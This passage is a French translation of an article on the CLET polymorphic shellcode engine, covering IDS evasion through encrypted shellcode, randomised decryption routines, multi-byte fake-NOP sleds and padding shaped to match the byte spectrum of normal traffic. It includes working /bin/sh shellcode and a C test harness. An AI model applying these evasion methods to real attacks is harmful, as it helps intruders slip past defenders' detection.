|=--------[Polymorphic Shellcode Engine Using Spectrum Analysis]--------=|
|=----------------------------------------------------------------------=|
|=--------[ theo detristan theo@ringletwins.com ]--------=|
|=--------[ tyll ulenspiegel tyllulenspiegel@altern.org ]--------=|
|=--------[ yann_malcom yannmalcom@altern.org ]--------=|
|=--------[ mynheer superbus von underduk msvu@ringletwins.com ]--------=|
|=----------------------------------------------------------------------=|
Traduit par ex0d, scoopex & jacob
Pour Phrack-FR crou
--[ 0 - Contents

1 - Abstract

2 - Introduction

3 - Polymorphisme: principe et utilite'e contre les NIDS.

4 - Rend le classique pattern matching inopperant.

5 - Analyse du Spectrum pour contrer les me'thodes de data mining.

6 - Le moteur CLET polymorphique

7 - References


--[ 1 - Abstract

De nos jours, "polymorphique" est peut tre un bien grand mot. Certains
programmes appells moteur de polymorphisme ont t tardivement developps
avec des routines de dchiffrement constante . Le polymorphisme est une
mthode visant  lutter contre le pattern matching (cf 3.2) : si vous avez
une suite consecutive d'octets constants dans le code que vous generez, les
NIDS seront toujours capables de reconnaitre la signature de ces octets
constants...

Dans les quelques vrais moteurs existants (ceux qui generent des routines
de dchiffrements non-constantes comme ADMmutate), il reste quelques
faiblesses (toutefois, peut on vraiment appeler ca des faiblesses puisque
les NIDS rcents ne peuvent pas les utiliser ) comme le probleme du XOR (cf
4.2) ou une zone de NOP avec seulement une instruction d'un octet (cf 4.1).
Dans notre moteur, nous nous sommes interresss   ces problemes, et nous
avons essay d'implementer quelques solutions. Nous avons aussi essayer d'
implementer des mthodes contre la prochaine generation de NIDS qui
utiliseront  les mthodes de data-mining.

Par ailleurs, nous ne clamons pas avoir cre l'ultime moteur polyphormique
. Nous sommes au courant de certaines faiblesses qui existent et nous
exposerons un certains nombres de solutions pour pallier  ces faiblesses
un peu plus bas, toutefois nous ne les avons pas encore implmentes.  De
plus,Il y a probalement certaines faiblesses que nous n'avons pas remarqus
: vos mails sont les bienvenues pour la prochaine version.

Cet article explique notre travail, nos ides. Nous  esperons qu'il vous
plaira.


--[ 2 - Introduction

Depuis le fameux "Smashing the stack for fun and profit", la technique du
buffer overflow a t largement utilise pour attaquer des systemes.

Pour limiter la menace, de nouveaux systemes de defense sont apparus bass
sur le pattern matching. A l'heure actuelle, les Intrusion Detection System
(IDS) coutent le traffic et essayent de detecter et de rejeter les paquets
contenants des shellcodes utiliss dans les attaques de type buffer
overflow.

Dans la scene virus, une technique appelle polyphormisme apparu en 1992.
L'ide derriere cette technique est vraiment simple, et cette ide peut
etre applique aux shellcodes.  ADMmutate est la 1ere tentative publique
d'utiliser le polymorphisme pour les shellcodes.

Notre but tait d'essayer d'amliorer cette technique, trouver des
amliorations et les appliquer sur un moteur de shellcodes polymorphiques.


--[ 3 - Polymorphisme: principes et utilit contre les NIDS.

----[ 3.1 - Retour en 1992...

En 1992, Dark Avenger a invent une technique revolutionaire qu'il appella
le polymorphisme. Qu'est ce que c'est ? cela consiste simplement  chiffrer
le code du virus et  generer une routine de dchiffrement qui serait
diffrente a chaque fois, donc  le virus est different a chaque fois et ne
peut etre scann par des mthodes de pattern matching. !

Un bon moteur polymorphique apparut : Le TridenT Polymorphic Engine (TPE),
Dark Angel Mutation Engine (DAME).

En consquence, les crateurs d'antivirus develloprent de nouvelles
techniques comme l'analyse du spectrum, l'emulateurs de code , ...


----[ 3.2 - Principes du polymorphisme

Le polymorphisme est une mthode standard pour prevenir le
pattern-matching. Pattern- matching signifie qu'un programme P (un
antivirus ou un IDS) a une base de donnes avec des 'signatures'. Une
signature est une suite d'octet identifiant un programme.  Concretement,
prenons la partie de ce shellcode:

push byte 0x68
push dword 0x7361622f
push dword 0x6e69622f
mov ebx,esp

xor edx,edx
push edx
push ebx
mov ecx,esp
push byte 11
pop eax
int 80h

Cette partie fait un execve("/bin/bash",["/bin/bash",NULL],NULL).

Elle ressemble a ceci une fois coder :
"\x6A\x68\x68\x2F\x62\x61\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xD2"
"\x52\x53\x89\xE1\x6A\x0B\x58\xCD\x80".

Si vous trouvez cette chaine de caractres dans un paquet destin  un
serveur web , ceci peut etre une attaque. Un IDS va refuser ce paquet.
Evidement, il y a d'autres mthodes pour raliser un execve , cependant,
cela va crer une autre signature. C'est ce qu'on appelle le pattern
matching.  Parler des virus ou des shellcodes n'est pas important, le
principe est le meme.  Nous allons voir plus tard les spcificites des
shellcodes.

Imaginez maintenant que nous avons un code nomm C, qu'un programme P
recherche. Votre code est toujours le meme, c'est normal, mais c'est une
faiblesse. P peut avoir un exemple caractristique de C, une signature de
C, et faire du pattern matching pour detecter C. Et donc, C n'est pas
utilisable quand P est lanc.

La 1ere ide est de chiffrer C. Imaginez C comme ceci :

[CCCCCCC]

Puis vous chiffrez le tout :

[KKKKKKKK]

Mais si vous voulez utiliser C, vous devez mettre une routine pour
dechiffrer au dbut du code :

[DDDDKKKKKKKK]

Cool ! On a chiffr C et l'exemple de C que P possde n'est plus efficace.
Mais vous avez introduit une nouvelle faiblesse car la routine de
dechiffrement sera la meme (excepte la cl)   chaque fois, et P sera
capable d'avoir un extrait de la routine dechiffre.

Au final, vous avez chiffr C mais C est  encore dtectable.

Et le polymorphisme est n !

L'ide est de generer une routine de dechiffrement diffrente  chaque
fois.  "Different" veut vraiment dire different : il n'y a pas que la cl
qui change. Vous pouvez le faire avec diffrentes mthodes : 
- generer une routine de dechiffrement avec des oprations diffrentes de
  dchiffrement  chaque fois. Une routine classique de
chiffrement/dechiffrement utilise un XOR mais vous pouvez utiliser
n'importe quelle opration du moment qu'elle est reversible : ADD/SUB,
ROL/ROR, ...
- generer un faux code au milieu de la  vraie routine de dechiffrement. Par
  exemple, si vous n'utilisez pas certains registres, vous pouvez jouer
avec, faire de fausses operations au milieu du code de dchiffrement.
- utiliser ces deux techniques :)

Donc un moteur de polymorphisme ralise deux oprations  en meme temps :
- il chiffre le corps du shellcode.
- il genere une routine de dechiffrement qui est _differente_ a chaque
  fois.


----[ 3.3 - Polymorphisme versus NIDS.

Un code d'UN BUFFER OVERFLOW A 3 OU 4 PARTIES :
------------------------------------------------------------------------------
| NOP | shellcode | bytes to cram | adresse de retour |
------------------------------------------------------------------------------

De nos jours, les NIDS essayent de trouver une suite de NOPs consecutifs
et font du pattern matching sur les shellcodes quand ils croient avoir
detects une zone de faux NOPs.  Ce n'est pas vraiment une mthode
efficace. D'autre part, on peut imaginer des methodes pour reconnaitre la
partie des octets qui "bourrent" the buffer ou les nombreuses adresses de
retour conscutives.  Donc, notre moteur polymorphique doit trouver une
parade  pour  chacun de ces points afin de  rendre nos shellcodes
mconnaissables. Voici ce qu'on a essayer de faire :

- premierement, la srie de NOPs est change en une serie d'instructions
  alatoires (cf 4.1 "fake-nop") codes sur   1,2 ou 3  octets..

- deuxiemement, le shellcode est chiffr (avec une methode alatoire
  utilisant plus qu'un XOR) et la routine de dchiffrement est gnre
alatoirement.  (cf 4.2)

- troisiemement, dans un shellcode polymorphique , on doit eviter d'avoir
  une grosse zone d'adresse de retour. En effet, une grosse zone peut tre
dtcte, particulierement par les mthodes de data-mining.  Pour eviter
cette detection, l'ide est d'essayer de limiter la taille de la zone
adresse et d'ajouter les octets que nous choisissons, entre le shellcode et
cette zone. Ces octets sont choisis alatoirement ou par utilisation de
l'analyse spectrum (cf 5.3.A)

- finallement, nous n'avons pas trouver une meilleure mthode que ADMmutate
  pour couvrir les addresses de retour: parce que l'adresse de retour est
choisie sans certitude, ADMutate change les bits de poids faible  de
l'adresse de retour entre les diffrentes occurences (cf 4.2).

NB: Les shellcodes ne sont pas exactement comme les virus et nous pouvons
tirer avantage des points suivants:
- Un virus doit tre parfait pour que la machine infecte marche toujours
  aprs l'infection ; Un shellcode ne doit pas etre parfait! Nous savons
que le shellcode va tre la derniere chose  tre executer, ainsi nous
pouvons faire ce que nous voulons avec des registres, pas besoin de les
sauver.  Nous pouvons tirer de bons avantages de ca : nous pouvons par
exemple viter d'utiliser des fonctions qui ne font rien dans notre zone de
faux NOPS  (comme INCR & DECR, ADD & SUB ou PUSH & POP...) (ce qui serait
plus facile  reconnaitre pour les IDS faisant de l'emulation du code).
Notre fake-nop est une instruction alatoire sur un octet, et nous
dcrirons une autre methode (non implemente pour le moment) pour ameliorer
ceci car generer seulement des instructions sur un octet est une faiblesse.

- La mthode de chiffrement alatoire peut avoir plusieurs formes avec du
  code alatoire (pas ncessairement une instruction sur un octet) qui fait
n'importe quoi, mais sans consquence sur le dchiffrement (hum...  pas
encore implmente).
- Un shellcode ne doit pas contenir de zros, puisque nous utiliserons
  uniquement des chaines de caractres  pour stocker notre code.  Nous
devons faire attention  ce point.


Voici a quoi ressemble un shellcode polymorphe:
-----------------------------------------------------------------------------
| FAKENOP | Routine chiffre | shellcode | bytes to cram | adresse de
retour |
-----------------------------------------------------------------------------

Etudions en maintenant chaque partie:


--[ 4 - Rendre les modles classique d'IDS inefficace.

----[ 4.1 - Fake NOPs zone avec des instructions sur 2 ou 3 octets.

------[ 4.1.A - Principes

Les NOPs sont necessaires avant le shellcode lui meme. Mais pourquoi est-ce
necessaire? Parce que nous ne savons pas exactement ou nous sautons, nous
savons juste que nous sautons au milieu des  NOPs (cf article de Aleph One
[1]). Mais ce n'est pas ncessaire d'avoir un NOPs, nous pouvons utiliser
une instruction non-dangereuse. Nous n'avons pas a sauvegarder les
registres, la seule condition que nous avons est d'arriver jusqu'a la
routine de dechiffrement sans erreurs. Cependant nous ne pouvons pas
utiliser n'importe quelle instruction "non-dangereuse". Rappelez-vous, nous
ne savons pas exactement ou nous sautons.

Une methode pour regler ce probleme est d'utiliser une instruction cod sur
un octet.  En effet, dans ce cas, partout ou nous sautons, nous tomberons
sur une instruction correct. Le probleme d'un tel choix  est qu'il n'existe
pas beaucoup d'instructionstruct sur un octet. Il est ainsi relativement
facile pour un IDS de detecter la zone de NOPs. Heuresement, beaucoup
d'instructions sur un octet peuvent tre codes avec une lettre majuscule,
et ainsi on peut cacher la zone de NOPs dans une zone alpha-numerique
utilisant le dictionnaire americain-anglais (option -a de CLET). Cependant,
comme nous expliquons au point 5, un tel choix peut etre inefficace surtout
quand le service demand n'est pas un 'service alpha-numerique' (cf 5).

Ainsi le problme est le suivant: Comment pouvons nous generer un fake-nop
utilisant une instruction multi-octet pour mieux cacher notre fake-nop?


On peut utiliser l'ide simple suivante : nous pouvons genere une
instruction sur deux octet, le second octet de celle ci etant  une
instruction un-octet ou le premier octet d'une instruction tenant sur deux
octets, et on continue de manire recursive.  Mais voyons les dsavantages
d'une telle mthode.

------[ 4.1.B - Instructions a plusieurs bytes non-dangereuses

- Les instructions utilisant plusieurs octets peuvent tre dangereuses
  parce qu'elles peuvent modifier la pile ou les slecteurs de segment
(etc.....) avec des effets alatoires.  Ainsi nous avons a choisir des
instructions innofensives ( pour ceci, le livre  [3] est notre ami... mais
nous allons devoir faire de nombreux tests  sur les instructions que nous
avons choisi).

- Quelques fois, les instructions multi-octets demandent un prefixe
  particulier pour specifier un registre ou une manire d'utiliser cette
instruction (voir modR/M [3]). Par exemple, l'instruction CMP rm32,imm32
(comparer) avec un tel code "0x81 /7 id"  est une instruction 6-octets qui
demande un suffix pour specifier le registre a utiliser, et ce registre
doit appartenir a la 7eme colone de "32-bit adressing Forms with the modR/M
Byte" (cf[3]). Cependant, souvenez vous que quelquesoit l'endroit ou le
pointeur pointe dans le fake-nop, il doit pouvoir lire un code valide.
Ainsi le suffixe et les arguments de l'instruction doivent etre des
instructions eux-memes.

------[ 4.1.C - Un cas facile

Maintenant prenons cette chaine : \x15\x11\xF8\xFA\x81\xF9\x27\x2F\x90\x9E
Si nous prenons  ce code depuis le dbut, nous lisons:

ADC $0x11F8FA81 #instruction demandant un argument de 4-byte
STC #one-byte instructions
DAA
DAS
NOP
SAHF

Si nous commencons au second octet, nous lisons:
ADC %eax,%edx
CMP %ecx,$0x272F909E

Etc... Nous pouvons commencer de n'importe ou et lire un code valide qui
ne fait rien de dangereux...

------[ 4.1.D Testez le fake-nop

char shell[] =
"\x99\x13\xF6\xF6\xF8" //notre fake_nop
"\x21\xF8\xF5\xAE"
"\x98\x99\x3A\xF8"
"\xF6\xF8"
"\x3C\x37\xAF\x9E"
"\xF9\x3A\xFC"
"\x9F\x99\xAF\x2F"
"\xF7\xF8\xF9\xAE"
"\x3C\x81\xF8\xF9"
"\x10\xF5\xF5\xF8"
"\x3D\x13\xF9"
"\x22\xFD\xF9\xAF"
//shellcode
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


int main()
{
void (*go)()=(void *) shell;
go();
return(0);
}

Nous testons une chaine fake_nop genere avec notre code... mais vous
pouvez voir qu'il n'est pas vraiment efficace : quand l'adresse (shell+i)
de la fonction go() est change, le programme de test quitte avec:

shell -> sh-2.05b$
shell+1 -> sh-2.05b$
shell+2 -> Floating point exception Argh!
shell+3 -> sh-2.05b$
shell+4 -> sh-2.05b$
...
shell+11 -> sh-2.05b$

Nous n'avons pas assez t soigneux avec le choix et l'organisation de nos
instruction pour le fake_nop :  il en resulte des segfaults aleatoires ou
des exceptions de virgule flotante...  (Vraiment chiant)


------[ 4.2 - La routine de dechiffrement

Il y'a deux manires diffrentes pour gnerer une routine de dchiffrement:
- vous pouvez toujours utilisez la mme routine mais modifier les
  instructions.  Par exemple vous pouvez utiliser add eax,2 ou inc eax; inc
eax; le rsultat sera le mme mais pas le code.
- vous pouvez gnerer une routine de dchiffrement diffrente.

Dans cette deuxime mthode, vous pouvez ajoutez du code entre les
instruction de la routine de dchiffrement. Evidemment, cet ajout de code
ne doit pas modifier le fonctionnement de cette routine.

CLET a choisi la seconde approche, mais  nous ne gnererons pas de code
entre les instructions parce que nous utilisons des registres, un  ordre
des instructions, des types d'instructions (ADD,SUB,ROL,ROR,XOR) qui
changent   chaque fois. Ce n'est donc pas  ncessaire d'ajouter des
instructions.

* XOR with a fixed size key is not enough

Utiliser  une routine avec XOR seulement et une cl de taille fixe
introduit une faiblesse dans le cryptage. Mark Ludwig decrit cela dans
"From virus to antivirus" avec un exemple concret. Cette faiblesse  vient
de l'associativit et la commutativit de l'operation XOR couple avec la
taille constante de la cl.

Imaginez que vous cryptez les deux octets B1 B2 avec la cl K, vous obtenez
deux octets  chiffrs C1 C2.

C1 XOR C2 = (B1 XOR K) XOR (B2 XOR K)
= B1 XOR K XOR B2 XOR K
= B1 XOR B2 XOR K XOR K
= B1 XOR B2 XOR (K XOR K)
= B1 XOR B2 XOR 0
= B1 XOR B2
= Constante (independante de K)

Nous savons maintenant pourquoi un shellcode crypt avec une routine XOR et
une cl de taille fixe laisse une signature caractristique du shellcode.
Dans le cas ou vous avez une cl de N octets, pour obtenir la signature,
vous devez appliquer un XOR des octets  k avec les octets  k+N. Une telle
signature pourrait tre exploite par les NIDS ( meme si cela demande une
forte puissance de calcul).

C'est important de noter (Merci a ceux qui nous l'ont dit ) que le problme
ne provient pas du  XOR en lui-mme mais de l'utilisation de XOR avec   une
cl de taille fixe. En effet, quelques moteurs polymorphes comme vx,
utilisent seulement XOR dans le chiffrage mais la clef n'est pas la mme
tout le long du chiffrage.  La cl change, et sa taille aussi. Dans ce cas,
notre dmonstration est inefficace parce que B1 et B2 ne sont pas crypt
avec la mme cl K et vous ne savez pas ou est le byte suivant crypt avec
la meme cl (ce que vous savez(connaissez) quand vous utilisez un chiffrage
avec un seul XOR et une clef de taille fixe de plusieurs octets.)


Ainsi une routine de chiffrement  utilisant seulement un XOR et une taille
de cl fixe n'est pas suffisant.  Dans CLET nous gnrons des routines
chiffres avec des instructions XOR, ADD, ROR, ...



* Registres alatoires

Rappelez vous que nous avons dcid de gnrer une routine diffrente a
chaque fois.  Meme si nous changons le type de chiffrement a chaque fois,
il est galement important de modifier les instructions assembleurs qui
constituent la routine chiffre. Pour cela, nous avons dcid de changer
les registres utiliss. Nous avons besoin de trois registres, un pour
enregistrer l'adresse ou nous travaillons, un autre pour enregistrer
l'octet sur lequel nous travaillons, et enfin un troisieme pour enregistrer
toutes les autres choses. Nous avons le choix entre eax,ebx,ecx,edx.  Nous
allons donc utiliser alatoirement trois registres  chaque fois.


* Encryptation sur  quatres octets pour vaincre les mthodes d'analyse
 spectralee.

Commencons par  expliquer ce que nous appellons un spectre et ce qu'est
une analyse du spectre.

Le spectre d'un paquet vous donne les octets et le nombre d'octets dans ce
paquet

Pour l'instant, le tableau suivant est le spectre d'un paquet appell X:


|\x00|\x01|\x08|\x0B|\x12|\x1A| ... |\xFE|\xFF|
-----------------------------------------------
| 25 | 32 | 04 | 18 | 56 | 43 | ... | 67 | 99 |

Ce tableau signifie qu'il y a 25 \x00 dans X, 32 \x01, 0 \x02, ...  Ce
tableau est ce que nous appellons le spectre de X

Une mthode d'analyse spectrale produit le spectre d'un paquet et cre la
"rgle merci" de ces spectres. Beaucoup d'IDS utilise la mthode d'analyse
spectrale pour carter certains paquets.  Pour l'instant, imaginez que dans
un traffic normal, vous n'avez jamais de paquet avec plus de 20 octets de
\xFF. Vous pouvez creer la regle suivante: Ecarter les paquets avec plus de
20 octets de \xFF. Ceci est une regle simple de l'analyse spectrale, en fait
beaucoup de regles sont gnres (avec l'approche neuronal pour l'instant,
voir 5.2) en tenant compte du spectre des paquets. Ces rgles autorisent un
IDS  carter des paquets en fonction de leur spectres. C'est ce que nous
appellons une mthode d'analyse spectrale.

Maintenant voyons comment un IDS peut combiner le pattern matching et les
mthode d'analyse spectrale.

L'ide est d'enregistrer des signatures, mais pas les signatures d'octets
consecutives mais plutot les signature du spectre. Pour l'instant, pour le
prcdent paquet X, nous enregistrons: 25, 32, 04, 18, 56, 43, ...., 67,
99. Pourquoi ces valeurs ? parce que si vous utilisez une encryptation d'un
octet seul, ces valeurs seront toujours les memes.

Dans cette optique, si nous chiffrons un paquet X avec la routine chiffr
XOR 02, ADD1 nous obtiendrons un paquet X' dont le spectre est:


|\x03|\x04|\x0A|\x0B|\x11|\x19| ... |\xFD|\xFE|
-----------------------------------------------
| 25 | 32 | 18 | 04 | 56 | 43 | ... | 67 | 99 |



Le spectre est diffrent, les valeurs aussi; cependant nous avons les memes
valeurs mais attribues  des  octets diffrents. La signature est la meme.
Avec une tel encryptation, le spectre des occurences de chaque octet
encryptr est une permutation du spectrue des octets non encrypts.
L'encryptation d'un octet seul retourne une valeur qui est unique, et
"caractristique de cet octet ": cela pose un vrai probleme.

Afin d'viter les similarits des signatures, le shellcode est encrypts
sur quatres octets :  cette mthode nos permet d'eviter d'avoir un spectre
singulier des occurences. en effet, si nous cryptons ffffffff par exemple
avec xor aabbccdd, add 1, nous obtiendrons 66554433.  ainsi, le spectre de
x' n'est pas une permutation du spectre de x. une encryptation sur quatre
octets nous permet donc d'viter cette sorte d'analyse spectrale.

mais les mthodes d'analyse spectrale ne sont qu'un cas particulier d'une
mthode plus gnrale  appelle mthodes de data-mining.  nous allons voir
ce que sont ces mthodes et comment pouvons nous utiliser l'analyse
spectrale du traffic pour essayer de vaincre ce genre de mthodes plus
gnral.

--[ 5 - l'analyse spectrum pour vaincre les mthodes de data-mining

----[ 5.1 - historique

Lorsque  vxvers a dcouvert le polymorphisme, les crateurs d'antivirus
craignaient que cela soit la solution ultime, et que le matching pattern
serait inefficace.  Pour lutter contre ce nouveaux type de virus, ils
dciderent de modifier leurs attaques (du problme).  Les antivirus avec
analyse heuristique taient alors ns. Ce type d'antivirus tente ,par
exemple, d'xecuter le code en mmoire et  teste si le code modifie ses
propres instructions.  (si il essaye de les chiffrer, dans l'exemple) dans
un tel cas, il se peut que se soit un virus polymorphique.  Comme nous
l'avons vu plus haut, l'encryptation 4-octets, qui  n'utilise pas seulement
un xor et une taille de cl fixe et une  zone fakenop avec des
instructions de plus d'un octet permet de 'vaincre" le pattern matching.
Peut etre reste-t-il quelques faiblesses ?  Cependant nous pensons que les
moteurs polymorphique vont tre de plus en plus efficaces, et que
finalement il sera assez difficile d'imple'menter des mthodes efficaces
de pattern matching dans les ids.  Les ids vont-ils prendre exemple sur les
antivirus, et essayer d'implmenter une mthode heuristique ? Nous ne le
pensons pas, parce qu'il y a de grosses diffrences entre les ids et les
antivirus, les ids doivent travailler en temps rel. Ils ne peuvent pas
logu tous les paquets et les analyser ensuite. Il est donc probable que
l'approche heuristique ne sera jamais utilise pour dtecter les shellcodes
polymorphismes .En outre, l'ids snort, qui essaye de devellopper des
mthodes de dtection des shellcodes polymorphiques, n'utilise pas de
mthodes heuristiques mais des mthodes de data mining. C'est probablement
ce genre de  mthodes qui vont tre developpes.  nous allons donc essayer
de crer des shellcodes polymorphique qui permettent d'eviter une telle
mthode de dtection ( comme nous le verrons dans la partie 5.3). Mais nous
allons commencer par vous  donner une rapide explication concernant les
methodes de data mining.

----[ 5.2 un exemple d'une mthode de data mining, l'approche neuronale, ou
l'utilisation d'un perceptron pour identifier le shellcode polymorphique

Comme nous l'avons expliqu prcedemment, nous voulons que, d'un ensemble
de critres dtects par un certain nombre de sondes rseaux, un manager
prenne une dcision fiable en temp rel sur le traffic rseau. Avec le
developpement des moteurs polymorphiques, peut tre que le pattern matching
deviendra inefficace ou trop difficile a` implmenter du fait que vous
devez crer un grand nombre de rgles, que peut tre vous ne connaitrez
pas.  Y a t'il une solution ? Nous avons un grand nombre d'informations et
nous souhaitons les traiter rapidement pour pouvoir prendre une decision,ce
qui est gnralement le but de ce qui est appell les mthodes de data
mining.

En fait, le but de data mining est le suivant:

D'un grand ensemble de variables explicites (x1,..,xn) nous cherchons a
prendre une dcision sur une variable y inconnue. Notez que:

* cette decision doit tre prise rapidement (problme de la  complexit du
 calcul)
* cette dcision doit tre fiable (problme des rponses fausses ...)

Il y a un bon nombre de mthodes qui sont lies   la thorie du data
mining.  Pour faire comprendre l'approche CLET  propos des mthodes
anti-data mining, nous avons dcider de prsenter l'une d'entre elles: la
mthode connexioniste. Nous avons choisi cette mthode car elle a plusieurs
qualits pour la dtection d'intrusions:

* la reconnaissance d'intrusion est base sur l'apprentissage. par exemple,
  avec un seul neurone, l'tude consiste a choisir les meilleurs variables
explicatives x1,...,xn et  configurer les meilleurs valeurs pour les
parametres w1,...wn (voir ci-dessous)
* grace a cette apprentissage, un rseau de neurones  est tres flexible et
est capable de travailler avec un important nombre de variables, et avec
une explicitation de y en utilisant les variables x1,...,xn ().

Ainsi, dans un rseau, une telle approche semble tre intressante, puisque
le nombre de variables explicites est certainement norme. Expliquons les
bases de cette mthode.


------[ 5.2.a - modelisation d'un neuron

Pour comprendre le fonctionnement d'un ids utilisant une  mthode de
data-mining base sur l'approche neuronale, nous devons comprendre comment
fonctionne un neurone (appelle ainsi parce que ce genre de programmes
copie  le neurone de votre cerveau). Le schma ci-dessous explique comment
fonctionne un neurone.  Comme dans votre cerveau, un neurone est une simple
calculatrice.

                      ____________
X1 --------w1--------|            | 
                     |            |
X2---------w2--------|            |
                     |   Neuron   |--fh[(w1*X1 + w2*X2 + ... + wN*XN)-B]
...                  |            |
                     |            |
XN --------wN--------|____________|


fh est la fonction dfinie par: |
fh(x)=1 si x>0 			| b est appell l'offset du neurone.
fh(x)=0 si x<=0 		|

Ainsi nous comprenons que la valeur de sortie est 0 ou 1 et que cette
valeur dpend des entres x1,x2,...,xn et des variables  w1,w2,...,wn.

------[ 5.2.b - Une mthode de data-mining: utilisation de l'approche
neuronale dans un ids.

Imaginez maintenant que la valeur x1,x2,...,xn sont les valeurs des donnes
d'un paquet:x1 est le premier octet, x2 le second,..., xn est le dernier
(vous pouvez choisir le premier bit x1, le second x2, etc... si vous voulez
que les valeurs entres soit 0 ou 1) (nous pouvons galement choisir x1 le
nombre de \x00,x2  le nombre de \x01,...). Il y a plusieurs mthodes, nous
exposons une ide ici dans le but d'expliquer le data mining). La question
est la suivante: quels w1,w2,...wn devons nous choisir pour gnrer une
valeur de sortie de 1 si la paquet est un paquet 'dangereux' et 0 si c'est
paquet normal ? Nous ne pouvons pas trouver de valeur, nos neurones vont
devoir l'apprendre avec l'algorithme suivant:

w1,w2,...,wn sont d'abord choisis alatoirement.
Ensuite, nous crons quelques paquets, dont certains 'dangereux' avec le
moteur polymorphique, et nous les testons avec le neurone.
Nous modifions le wi lorce que la valeur sortie est fausse.

Si la valeur de sortie est 0 au lieu de 1:
wi <- wi + z*xi 0<=i<=n
Si la valeur de sortie est 1 au lieu de 0:
wi <- wi - z*xi 0<=i<=n

z est une valeur constante choisie arbitrairement.

Lors des tapes faciles, le neurone va 'apprendre'  diffrencier les
paquets 'dangereux' de ceux qui sont 'normaux'. Dans un ids reel, un
neurone n'est pas suffisant, et la convergence doit tre tudie. Il y a
deux gros avantages de l'approche neuronale:

* les dcisions d'un rseau neuronal ne dpendent pas directement des
rgles crites par l'homme, elles sont bases sur l'apprentissage qui va
fixer le poids des diffrentes entres des neurones en utilisant la
minimisation de critres statistiques particuliers. Ainsi, les dcisions
sont plus judicieuses et plus adaptes au traffic rseau local que les
rgles gnrales.
* lorsquee que le champ de recherche est important (des bases de donnes
 normes  pour le pattern matching), l'approche data-mining est plus rapide
parce que l'algorithme n'a pas  chercher dans une norme base de donnes
et n'a pas a executer un grand nombre de calculs (lorsque que le choix de
la topologie rseaux, des variables explicites et l'apprentissage sont
"bon"...)


----[ 5.3 - L'analyse spectrale dans CLET contre la mthode data-mining.

La principale ide de la mthode expose prcedemment, comme beaucoup de
mthodes de data mining, est d'apprendre a reconnaitre un paquet normal
d'un paquet'dangereux'. Ainsi, nous comprenons que pour lutter contre ce
type de mthodes, un simple polymorphisme n'est pas suffisant, et la
mthode alphanumerique (vive l'excellent article de rix), peut tre
inefficace. En effet, dans un cas d'une communication non-alphanumerique,
les donnes alphanumeriques seront consideres tranges et vont crer une
alerte.  La question est de savoir comment un moteur polymorphique peut
gnrer un shellcode polymorphique qui sera considr comme normal par un
ids utilisant les mthodes data mining. Peut etre que le moteur CLET
montre-t-il un commencement de rponse? Cependant, nous sommes au courant
de certaines faiblesses (pour l'instant le spectrumfile n'as pas
d'influence sur la zone fakenot(fake-nop probablement)), nous travaillons
actuellement sur ces faiblesses.  Voyons comment cela fonctionne.

Imaginez le cas suivant:

                              _________  
                             | Firewall|       ________
               ---Internet---|    +    |------| Server |
                             |   IDS   |      |________|
                             |_________| 

Nous pouvons suppos que les ids analysent les paquets entrants avec un
port de destination 80 et l'ip du serveur avec les mthodes de data-mining.
Pour chapper  ce controle, notre ide est de gnrer  des octets dont les
valeurs dpendent de la probabilit de cette valeur dans un traffic normal.

theo@warmach# sniff eth0 80 2>fingerprint &
theo@warmach$ lynx server.com

Le sniffer va couter sur l'interface eth0 les paquets sortants avec un
port de destination gal  80, et enregistrera les donnes dans un fichier
fingerprint en binaire.  Ensuite, nous commencons  naviguer normallement
pour enregistrer un traffic 'normal'.

theo@warmach$ stat fingerprint spectralefile

Le programme stat va genrer un fichier spectralefile dont le contenu a le
format suivant:

0 (nombre d'octets \x00 in leaving data destinated to server)
1 (nombre d'octets \x01 in leaving data destinated to server)
...
ff (nombre d'octets \xff in leaving data destinated to server)

Ce spectralefile peut tre gnr par plusieur mthodes. On peut utiliser
la mthode utilise dans  mon exemple, ou dcider de le gnrer via le
traffic sur un rseau, ou encore dcider de l'crire si vous des attentes
spciales ....

Maintenant, interrogeons nous sur la manire d'utiliser ce fichier.
Comment pouvons nous utiliser une description d'un traffic ? L'option f de
CLET nous permet d'utiliser une analyse d'un rseau grce  ce fichier
spectrale.

theo@warmach$ CLET -n 100 -c -b 100 -f spectralefile -b
(cf 6 for options)

L'action de l'option -f diffre selon les diffrente zones du shellcode
(nopzone, routine dchiffre, shellcode, cramming zone). En effet, nous
voulons modifier, grace au spectralefile, le processus de gnration du
shellcode prolymorphique, mais nous ne pouvons pas raliser  la meme action
sur chaque zone car les contraines selon les  zones. Il est par exemple,
dans certains cas, trs difficile de gnrer une zone de faux-nops en
s'appuyant sur l'analyse spectrale.

Voyons comment nous pouvons agir sur les diffrente zones.


------[ 5.3.1 Generer des "cramming bytes zone" en utilisant l'analyse
spectrale

L'ide est ici  simple: on va  gnrer une cramming bytes zone dont le
spectre est le meme que le spectre du traffic normal:

-------------------------------------------------------------------------
| fakenop | decipherroutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
						^
						|
						|
				la probabilite de ces octets
				sont dpendants du spectralefile
				(sans la valeur \x00)

Si il n'y a pas de fichier en argument, il  y une equiprobabilit pour
toutes les valeurs (sans zero)...  On appliquera ce procd de gnration
sauf si vous utiliser l'option -B.

Cependant, la  cramming bytes zone est la zone en or. Dans cette optique,
nous pouvons gnrer les octets que nous voulons. Rappellons que dans
plusieurs zones, nous ne pouvons pas utiliser l'analyse spectrale (comme
dans la routine de dchiffrement  dans notre version).  Il est plus utile
d'utiliser la cramming bytes zone pour ajouter les octets nous manquant
dans les zones prcdente, dans lesquelles nous ne pouvons pas facilement
utiliser le fichier spectrale. C'est parti !


--------[ 5.3.1.a - un probleme difficile

Pour expliquer cela, nous allons prendre un exemple simple. Nous sommes
intresss par une zone ou il y a seulement trois octets accepts, appells
a,b et c. Une tude spectrale de cette zone nous montre:

A: 50
B: 50
C: 50

Le probleme est le suivant : a cause de  notre shellcode et de notre
nop_zone, nos paquets commencent avec la squence suivante.

ABBAAAAA (8 octets)

Nous pouvons ajouter deux octets avec notre cramming zone. La question est:
quels deux octets devons nous choisir ?

La rponse est relativement simple. Intuitevement nous pensons a cc,
pourquoi ?  Parce que c est important dans le traffic et nous n'en
possdons aucun exemplaire. En fait, si nous appellons

Xa la variable alatoire de Bernouilli associe au nombre de a dans les 9
premiers octets.
